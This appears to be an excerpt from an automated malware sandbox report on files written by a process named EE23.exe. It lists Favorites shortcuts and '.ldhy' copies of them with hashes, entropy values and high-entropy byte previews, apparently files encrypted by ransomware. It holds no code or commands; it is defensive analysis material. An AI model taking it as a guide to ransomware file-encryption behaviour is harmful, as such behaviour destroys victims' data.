                                                                                                                                                                                                                                                              SHA1:29A2B8D360F585A80FCC833D35AB1EFA6104CA6D
                                                                                                                                                                                                                                                              SHA-256:09EA4661A7688281A0F56FE4EECC4A0C143E49A804D8BEB2BA12EBD769257A75
                                                                                                                                                                                                                                                              SHA-512:61B840311729E44926B94D843D6CB80E8911B6CFF8DA4BA75D964689A48B6C71BFFC2C3192514CFFCE0CA1D008C083451D9736FC06DD77713CA69BC9A3579BFE
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:[{000..@..=".t".tQ.c. .....lp.]b.O.....b.ZJ6..?...0pB...s._.F...ln...._7E.5..~..N..<W.}.zT^;..z..Tl. F.r?d"&.Ob. .Q....n.).t.d.B.......f....*h_P.ugG...z`......Y.I"D....2.......0**..5..|..v...m:b&d...^...R.(.k..E...t.A.Q..U9-.@.^.$s.u...].l.$.......v....*.qs|&.......P...$.._.e.. #.....6.<X\.....3y...G1.aP..v...3...0 ....@z....#..9.....l=../.k...$...2.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

                                                                                                                                                                                                                                                              C:\Users\user\Favorites\Amazon.url.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):445
                                                                                                                                                                                                                                                              Entropy (8bit):7.386829084889928
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12:xdL1fmZjowzeAnhDpN5WIWT34X8FxCLi9xGwJAkNQscii9a:xdkjowxBv5WDWi9xGwJARsbD
                                                                                                                                                                                                                                                              MD5:C9CE885D6E64FEF70568836D30034A07
                                                                                                                                                                                                                                                              SHA1:29A2B8D360F585A80FCC833D35AB1EFA6104CA6D
                                                                                                                                                                                                                                                              SHA-256:09EA4661A7688281A0F56FE4EECC4A0C143E49A804D8BEB2BA12EBD769257A75
                                                                                                                                                                                                                                                              SHA-512:61B840311729E44926B94D843D6CB80E8911B6CFF8DA4BA75D964689A48B6C71BFFC2C3192514CFFCE0CA1D008C083451D9736FC06DD77713CA69BC9A3579BFE
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:[{000..@..=".t".tQ.c. .....lp.]b.O.....b.ZJ6..?...0pB...s._.F...ln...._7E.5..~..N..<W.}.zT^;..z..Tl. F.r?d"&.Ob. .Q....n.).t.d.B.......f....*h_P.ugG...z`......Y.I"D....2.......0**..5..|..v...m:b&d...^...R.(.k..E...t.A.Q..U9-.@.^.$s.u...].l.$.......v....*.qs|&.......P...$.._.e.. #.....6.<X\.....3y...G1.aP..v...3...0 ....@z....#..9.....l=../.k...$...2.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

                                                                                                                                                                                                                                                              C:\Users\user\Favorites\Bing.url

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):542
                                                                                                                                                                                                                                                              Entropy (8bit):7.586667649595739
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12:Z3JNI3On86c4S7srq0/t/CEV6kpWDtJpQscii9a:1JC3p4S7z0/t6EV6kpwtJ+sbD
                                                                                                                                                                                                                                                              MD5:8D79BF67BA4BD1F0A20C470A2D905DD3
                                                                                                                                                                                                                                                              SHA1:D07B364B45480923A25A585A97403DF6A5226AED
                                                                                                                                                                                                                                                              SHA-256:76AD72760705CF12E49C6F470010B358A13AF13F3F4BE65F1B73CC295A2FD9A9
                                                                                                                                                                                                                                                              SHA-512:44F7F12A6E3E5A7AED98AC1B902535670A58F4EB29FCE6C8CBC8F847B060BDB88DC7E737F33F0629E38E7EE45A06CE6342BF5C46FDA92E7238F9723C16FB122F
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:[{000...wc...k.....w.Z..K.VR~GN...Ir...:>..$KU.u!.y.x#;.x.y.Y .z..]~..M.]Jz.*jBc_.R....y....d......J.L....DEJ7v..2Z|.&.W-M5D...&....G.].Eh.!"..f...%+`...q..j.jv...L....j..$..V.......vo...{..dk.....j...F..X@.. Th.....YdN.h.."h.mhHx.D....Hb{.I./w.C....A...,oF....e...+.. .........r.J..1.h..,..@.....,@.^*..G./.p.Q.$..8.?...H.M?.ZM...f..m.j.......f.1.!.!.=+..i...6.......r-..s....|?)..5..#.$....2...q6........M.J..8.....hF...=..c....{7...."m........@)qw8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

                                                                                                                                                                                                                                                              C:\Users\user\Favorites\Bing.url.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):542
                                                                                                                                                                                                                                                              Entropy (8bit):7.586667649595739
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12:Z3JNI3On86c4S7srq0/t/CEV6kpWDtJpQscii9a:1JC3p4S7z0/t6EV6kpwtJ+sbD
                                                                                                                                                                                                                                                              MD5:8D79BF67BA4BD1F0A20C470A2D905DD3
                                                                                                                                                                                                                                                              SHA1:D07B364B45480923A25A585A97403DF6A5226AED
                                                                                                                                                                                                                                                              SHA-256:76AD72760705CF12E49C6F470010B358A13AF13F3F4BE65F1B73CC295A2FD9A9
                                                                                                                                                                                                                                                              SHA-512:44F7F12A6E3E5A7AED98AC1B902535670A58F4EB29FCE6C8CBC8F847B060BDB88DC7E737F33F0629E38E7EE45A06CE6342BF5C46FDA92E7238F9723C16FB122F
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:[{000...wc...k.....w.Z..K.VR~GN...Ir...:>..$KU.u!.y.x#;.x.y.Y .z..]~..M.]Jz.*jBc_.R....y....d......J.L....DEJ7v..2Z|.&.W-M5D...&....G.].Eh.!"..f...%+`...q..j.jv...L....j..$..V.......vo...{..dk.....j...F..X@.. Th.....YdN.h.."h.mhHx.D....Hb{.I./w.C....A...,oF....e...+.. .........r.J..1.h..,..@.....,@.^*..G./.p.Q.$..8.?...H.M?.ZM...f..m.j.......f.1.!.!.=+..i...6.......r-..s....|?)..5..#.$....2...q6........M.J..8.....hF...=..c....{7...."m........@)qw8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

                                                                                                                                                                                                                                                              C:\Users\user\Favorites\Facebook.url

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):447
                                                                                                                                                                                                                                                              Entropy (8bit):7.399407980144993
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12:R8qa4NKEgYG7/QCNT116wJbTEXFYSNQscii9a:iqa1lYUcXbCsbD
                                                                                                                                                                                                                                                              MD5:B5BB09559305D8078BFEDD050EB4C38C
                                                                                                                                                                                                                                                              SHA1:DC75A1CAF3A702AFC469DA0E5A7A3811EB587BFB
                                                                                                                                                                                                                                                              SHA-256:AD5F0A5096411DA471EBA8204224E189B12CD8728B6D3154EFEDC4590F249768
                                                                                                                                                                                                                                                              SHA-512:10C76C2932424F822347222F1834773FBA81EEFA9BEBAA8F8B8D4BD75A93E1F998876C37123DC9D94845F25D5FB17B625FD06EA5F8EB73EE9DBCAAE27575127C
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:[{000.(H*.K7.t'...t..ge..!.B...............A:"*..M.l.Y..'.E5x!YQ..K[.K..L..P...KXM....1Fh..lP..-.\..B.U!.r...x...0 ....{=G..t.;......fJ..,>........H!.A..I...R....).......&u.&zW.D.....ov8D.S.\..s.8.uw.".&9.Z...j.t}9.B...>......C..x......[..9Jz.....+CkD..K..P...p...1.c.L.....h.....1...9.......qO_7l.....(\J.o.....)...E'...C.."2...H...R..X .[N...Z1.d...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

                                                                                                                                                                                                                                                              C:\Users\user\Favorites\Facebook.url.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):447
                                                                                                                                                                                                                                                              Entropy (8bit):7.399407980144993
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12:R8qa4NKEgYG7/QCNT116wJbTEXFYSNQscii9a:iqa1lYUcXbCsbD
                                                                                                                                                                                                                                                              MD5:B5BB09559305D8078BFEDD050EB4C38C
                                                                                                                                                                                                                                                              SHA1:DC75A1CAF3A702AFC469DA0E5A7A3811EB587BFB
                                                                                                                                                                                                                                                              SHA-256:AD5F0A5096411DA471EBA8204224E189B12CD8728B6D3154EFEDC4590F249768
                                                                                                                                                                                                                                                              SHA-512:10C76C2932424F822347222F1834773FBA81EEFA9BEBAA8F8B8D4BD75A93E1F998876C37123DC9D94845F25D5FB17B625FD06EA5F8EB73EE9DBCAAE27575127C
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:[{000.(H*.K7.t'...t..ge..!.B...............A:"*..M.l.Y..'.E5x!YQ..K[.K..L..P...KXM....1Fh..lP..-.\..B.U!.r...x...0 ....{=G..t.;......fJ..,>........H!.A..I...R....).......&u.&zW.D.....ov8D.S.\..s.8.uw.".&9.Z...j.t}9.B...>......C..x......[..9Jz.....+CkD..K..P...p...1.c.L.....h.....1...9.......qO_7l.....(\J.o.....)...E'...C.."2...H...R..X .[N...Z1.d...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

                                                                                                                                                                                                                                                              C:\Users\user\Favorites\Google.url

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):445
                                                                                                                                                                                                                                                              Entropy (8bit):7.4363094363363595
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12:Xzq6t2lDuMRL1tGzMxfoc7mtXOdO5PNF2Qscii9a:XTsuMRL1tGw7mtedO5NFsbD
                                                                                                                                                                                                                                                              MD5:5836EE325D6571A8192C072B9234CFEA
                                                                                                                                                                                                                                                              SHA1:01433C02521647A1ACD223BC365229A84C1B43A8
                                                                                                                                                                                                                                                              SHA-256:CACE07723657CABD9BC4A763E16CF9120581D2CB1AE2F3DD36BFDA51FC0E08A3
                                                                                                                                                                                                                                                              SHA-512:4445FF09D7E9707159A5D18B2CC7220B8F6414684583CDFDB59494DB05EB635315B0A10829BC3E4D42F9188C2E727E7B6FCB7E68E67AC9FA25F8BE56B282FDFA
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:[{000@.T.^....[..u.&.K.~..u..@...)+.(ag5A..I.l....Ce.|.........gK.N..'.q.{h.|....:5.m"PMm.&..U&.'..X?c.K..].O.4\..l.z.....E.r..e.j.K..)T..vf........h0.D..?..&.N[..]ZCw..|...z.MR.a.....o[1Al.nl.5.r. _0...S...".$...<..y&.yO-.}b0....WN.(@c!B.u.97....#..q$~....^.-.TH..}......,...Ro!&....p....k..=..."!GF.9...A....D.r.oP..O.g...W..1J.a...z..3..Yi..@.I....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

                                                                                                                                                                                                                                                              C:\Users\user\Favorites\Google.url.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):445
                                                                                                                                                                                                                                                              Entropy (8bit):7.4363094363363595
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12:Xzq6t2lDuMRL1tGzMxfoc7mtXOdO5PNF2Qscii9a:XTsuMRL1tGw7mtedO5NFsbD
                                                                                                                                                                                                                                                              MD5:5836EE325D6571A8192C072B9234CFEA
                                                                                                                                                                                                                                                              SHA1:01433C02521647A1ACD223BC365229A84C1B43A8
                                                                                                                                                                                                                                                              SHA-256:CACE07723657CABD9BC4A763E16CF9120581D2CB1AE2F3DD36BFDA51FC0E08A3
                                                                                                                                                                                                                                                              SHA-512:4445FF09D7E9707159A5D18B2CC7220B8F6414684583CDFDB59494DB05EB635315B0A10829BC3E4D42F9188C2E727E7B6FCB7E68E67AC9FA25F8BE56B282FDFA
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:[{000@.T.^....[..u.&.K.~..u..@...)+.(ag5A..I.l....Ce.|.........gK.N..'.q.{h.|....:5.m"PMm.&..U&.'..X?c.K..].O.4\..l.z.....E.r..e.j.K..)T..vf........h0.D..?..&.N[..]ZCw..|...z.MR.a.....o[1Al.nl.5.r. _0...S...".$...<..y&.yO-.}b0....WN.(@c!B.u.97....#..q$~....^.-.TH..}......,...Ro!&....p....k..=..."!GF.9...A....D.r.oP..O.g...W..1J.a...z..3..Yi..@.I....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

                                                                                                                                                                                                                                                              C:\Users\user\Favorites\Live.url

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):443
                                                                                                                                                                                                                                                              Entropy (8bit):7.413187113566837
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12:x1On0ocLLKeAJQv0DmYmuRAO4uL9UvVFDvaUQscii9a:uphUvImY1RAO4uSVFDvosbD
                                                                                                                                                                                                                                                              MD5:9DCBDE96BB20D462CCF6D238C184AE0C
                                                                                                                                                                                                                                                              SHA1:93C677468A6455F9366E9699BADE8C4657F15A4B
                                                                                                                                                                                                                                                              SHA-256:9B2941DAB94C9876562F2E43C273DFBAE838664EFC91B8197E08129720AFCF3D
                                                                                                                                                                                                                                                              SHA-512:E2B248E724D86B50AA6EB5200C0440E4AA2B4DB8414A88CFCFC6168571582AA8DE228CACA21A3CE3C28E478D55CC90E7D2DE5C61AF73A6746BC101195FF9E82D
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:[{000..<.o.`4p5.A....Y.c.+.VH.f.....w...g".....D.nk.D..o97 )if.v....G.fGF...`6..d.(...:1....P{\p.k~....be.!y..r.n..t.!Jh..8C[o....76,.@.2/i..K..*.(F...6f.4.c..bV.N..M.^T....-.c..lr..>..C...)...8.;(O:`n..Z.-...D.f.....OH.`v#...e.-..........9.6.|...gk].Gl...\O.[.....(1c...xh....)..g\....T......*..ADs.........3.Q_.. K......V.hK.....=.a..p.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

                                                                                                                                                                                                                                                              C:\Users\user\Favorites\Live.url.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):443
                                                                                                                                                                                                                                                              Entropy (8bit):7.413187113566837
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12:x1On0ocLLKeAJQv0DmYmuRAO4uL9UvVFDvaUQscii9a:uphUvImY1RAO4uSVFDvosbD
                                                                                                                                                                                                                                                              MD5:9DCBDE96BB20D462CCF6D238C184AE0C
                                                                                                                                                                                                                                                              SHA1:93C677468A6455F9366E9699BADE8C4657F15A4B
                                                                                                                                                                                                                                                              SHA-256:9B2941DAB94C9876562F2E43C273DFBAE838664EFC91B8197E08129720AFCF3D
                                                                                                                                                                                                                                                              SHA-512:E2B248E724D86B50AA6EB5200C0440E4AA2B4DB8414A88CFCFC6168571582AA8DE228CACA21A3CE3C28E478D55CC90E7D2DE5C61AF73A6746BC101195FF9E82D
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:[{000..<.o.`4p5.A....Y.c.+.VH.f.....w...g".....D.nk.D..o97 )if.v....G.fGF...`6..d.(...:1....P{\p.k~....be.!y..r.n..t.!Jh..8C[o....76,.@.2/i..K..*.(F...6f.4.c..bV.N..M.^T....-.c..lr..>..C...)...8.;(O:`n..Z.-...D.f.....OH.`v#...e.-..........9.6.|...gk].Gl...\O.[.....(1c...xh....)..g\....T......*..ADs.........3.Q_.. K......V.hK.....=.a..p.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

                                                                                                                                                                                                                                                              C:\Users\user\Favorites\NYTimes.url

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):446
                                                                                                                                                                                                                                                              Entropy (8bit):7.4641464484387114
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12:Rg/uT9ES0OmhE1wq1pnO5+5XX7pSpfvtjf4g4D6UhdI6jXuQscii9a:Rg/ueS0/hqwq10+5l6fhfMD6mdI6zfsX
                                                                                                                                                                                                                                                              MD5:2780CF9E6EE3BD048319A5B3F990F32C
                                                                                                                                                                                                                                                              SHA1:B6D8998D795DA39B3846D13321CAF6B5E739D399
                                                                                                                                                                                                                                                              SHA-256:F1EA863CD05DA4E3F987FC9C14443E1867C31614F7F3EEC1C3B08B41FF1CAFEA
                                                                                                                                                                                                                                                              SHA-512:CA129C473EEE020FC25E57E470BF5370B8B662EFD07263561B158F73775A7A1C3A563F94C56E8D06065B8C52EC1E0E139C5CBCCB93917877BE630F55568A490F
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:[{000..P;`...l.}...@..[.8..s+J......B..a....T...?.U..&9c&J......*...7.......*.N7....<......GN.....c{..h....Xqz.......E.3......P.fQ.P....". EA..V..k\H.s...I..r#.\y...2+......#IU@..2..U.!..%..C..7=d.b.RH5...Ex`.dM..a=\P..d_<...US%.x$.O..........].h>t.Qc.l.&.....s<y..j../.-........\: ~...1..-.....3....}.bV.W.e. "U..@.Vp...yf..;l......o.4.....p<d.tm8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

                                                                                                                                                                                                                                                              C:\Users\user\Favorites\NYTimes.url.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):446
                                                                                                                                                                                                                                                              Entropy (8bit):7.4641464484387114
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12:Rg/uT9ES0OmhE1wq1pnO5+5XX7pSpfvtjf4g4D6UhdI6jXuQscii9a:Rg/ueS0/hqwq10+5l6fhfMD6mdI6zfsX
                                                                                                                                                                                                                                                              MD5:2780CF9E6EE3BD048319A5B3F990F32C
                                                                                                                                                                                                                                                              SHA1:B6D8998D795DA39B3846D13321CAF6B5E739D399
                                                                                                                                                                                                                                                              SHA-256:F1EA863CD05DA4E3F987FC9C14443E1867C31614F7F3EEC1C3B08B41FF1CAFEA
                                                                                                                                                                                                                                                              SHA-512:CA129C473EEE020FC25E57E470BF5370B8B662EFD07263561B158F73775A7A1C3A563F94C56E8D06065B8C52EC1E0E139C5CBCCB93917877BE630F55568A490F
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:[{000..P;`...l.}...@..[.8..s+J......B..a....T...?.U..&9c&J......*...7.......*.N7....<......GN.....c{..h....Xqz.......E.3......P.fQ.P....". EA..V..k\H.s...I..r#.\y...2+......#IU@..2..U.!..%..C..7=d.b.RH5...Ex`.dM..a=\P..d_<...US%.x$.O..........].h>t.Qc.l.&.....s<y..j../.-........\: ~...1..-.....3....}.bV.W.e. "U..@.Vp...yf..;l......o.4.....p<d.tm8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

                                                                                                                                                                                                                                                              C:\Users\user\Favorites\Reddit.url

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):445
                                                                                                                                                                                                                                                              Entropy (8bit):7.432858635093012
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12:RRyFfvqyknx2xkRXAwiUPno6VnFQscii9a:RRgfvqyq8k1ArU/DUsbD
                                                                                                                                                                                                                                                              MD5:86117871D4007EA90DE89A0594CF69BE
                                                                                                                                                                                                                                                              SHA1:AD041A410AA6F19324AA475968F13E736A942586
                                                                                                                                                                                                                                                              SHA-256:E347A204D5C3E2EECAF497CD0139016DFED5EBFBF3793BBC48E37CA37D86330E
                                                                                                                                                                                                                                                              SHA-512:60F09D63F8D79458A2B338842E85C3193AFC42B32668CCD0B2B2C3D20216B257F5C58D60071BDB772A0D2549FD84F4B2ECE885FC3E92ED93F447F49669201653
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:[{0005..K.vL......w*......S...QR.{{..m..t.![>..:...;_TU#..Y.=...LT...4..E..g..y.p..9.0c.g..[..=.fo:tS..@2....K-./27......G..@...A.........L.v......N..2Q.....p#Edl.F8....nH...4.....*.?....*BPJ..dj..h.T...^....ye...)%}.h.> ..#g...?...L..}..........^@0.L..<..%..)..-.'*S..m.K..._#...K.....F['&.0...t^....B..Bm..S#!.(`....}..e]...%....M.X.../x8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

                                                                                                                                                                                                                                                              C:\Users\user\Favorites\Reddit.url.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):445
                                                                                                                                                                                                                                                              Entropy (8bit):7.432858635093012
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12:RRyFfvqyknx2xkRXAwiUPno6VnFQscii9a:RRgfvqyq8k1ArU/DUsbD
                                                                                                                                                                                                                                                              MD5:86117871D4007EA90DE89A0594CF69BE
                                                                                                                                                                                                                                                              SHA1:AD041A410AA6F19324AA475968F13E736A942586
                                                                                                                                                                                                                                                              SHA-256:E347A204D5C3E2EECAF497CD0139016DFED5EBFBF3793BBC48E37CA37D86330E
                                                                                                                                                                                                                                                              SHA-512:60F09D63F8D79458A2B338842E85C3193AFC42B32668CCD0B2B2C3D20216B257F5C58D60071BDB772A0D2549FD84F4B2ECE885FC3E92ED93F447F49669201653
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:[{0005..K.vL......w*......S...QR.{{..m..t.![>..:...;_TU#..Y.=...LT...4..E..g..y.p..9.0c.g..[..=.fo:tS..@2....K-./27......G..@...A.........L.v......N..2Q.....p#Edl.F8....nH...4.....*.?....*BPJ..dj..h.T...^....ye...)%}.h.> ..#g...?...L..}..........^@0.L..<..%..)..-.'*S..m.K..._#...K.....F['&.0...t^....B..Bm..S#!.(`....}..e]...%....M.X.../x8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

                                                                                                                                                                                                                                                              C:\Users\user\Favorites\Twitter.url

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):446
                                                                                                                                                                                                                                                              Entropy (8bit):7.396860228620806
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12:Ejvq2fD47Ik54t5EJLNTuEt82cu/gCIz6x+auk4DQscii9a:Em2ULC36LqkwauknsbD
                                                                                                                                                                                                                                                              MD5:84DCE1D7B42CABC9FDA78BFF1DB11BBB
                                                                                                                                                                                                                                                              SHA1:308CB0A3511A054B5E2BE513BCCE3CBC697C7225
                                                                                                                                                                                                                                                              SHA-256:04C99461C3FED734B3D70C816669633CADCAF6E61248D9956113B6E37A505A0A
                                                                                                                                                                                                                                                              SHA-512:3C841CEDB9858DDF94A096142160E622B801FF3D2CB9338D68E0DFA0EEDAEFE818A2D957175E2968BF8C49ACDF13B014E0E499E67316F8EA1A8BA4546E75653A
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:[{000.F.X....\....gh1E.U....-..f......@2....7P.X..M._C..}D...)y..A....[D:.N..1Z.4...B;.....C..o...Iwn. E5bZ.EHI8..H..,N3H.....o^.......k..T.2.y..\.;.......t..j.D:.k.........'.W-uS.a..(vx.:.O.w..Gn`9.v.O..81N.Q..;.>...G]..>..r.M........D...A#@.|...=.O..8.>4.(V.I[*.@A.rK0.......l..R.mK....Lp6.)SH3.?1>..:.q..9}.....b....-R..."...28._q..z.m.Sb<.X|...xP8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

                                                                                                                                                                                                                                                              C:\Users\user\Favorites\Twitter.url.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):446
                                                                                                                                                                                                                                                              Entropy (8bit):7.396860228620806
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12:Ejvq2fD47Ik54t5EJLNTuEt82cu/gCIz6x+auk4DQscii9a:Em2ULC36LqkwauknsbD
                                                                                                                                                                                                                                                              MD5:84DCE1D7B42CABC9FDA78BFF1DB11BBB
                                                                                                                                                                                                                                                              SHA1:308CB0A3511A054B5E2BE513BCCE3CBC697C7225
                                                                                                                                                                                                                                                              SHA-256:04C99461C3FED734B3D70C816669633CADCAF6E61248D9956113B6E37A505A0A
                                                                                                                                                                                                                                                              SHA-512:3C841CEDB9858DDF94A096142160E622B801FF3D2CB9338D68E0DFA0EEDAEFE818A2D957175E2968BF8C49ACDF13B014E0E499E67316F8EA1A8BA4546E75653A
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:[{000.F.X....\....gh1E.U....-..f......@2....7P.X..M._C..}D...)y..A....[D:.N..1Z.4...B;.....C..o...Iwn. E5bZ.EHI8..H..,N3H.....o^.......k..T.2.y..\.;.......t..j.D:.k.........'.W-uS.a..(vx.:.O.w..Gn`9.v.O..81N.Q..;.>...G]..>..r.M........D...A#@.|...=.O..8.>4.(V.I[*.@A.rK0.......l..R.mK....Lp6.)SH3.?1>..:.q..9}.....b....-R..."...28._q..z.m.Sb<.X|...xP8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

                                                                                                                                                                                                                                                              C:\Users\user\Favorites\Wikipedia.url

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):448
                                                                                                                                                                                                                                                              Entropy (8bit):7.400941412196316
                                                                                                                                                                                                                                                              Encrypted:false
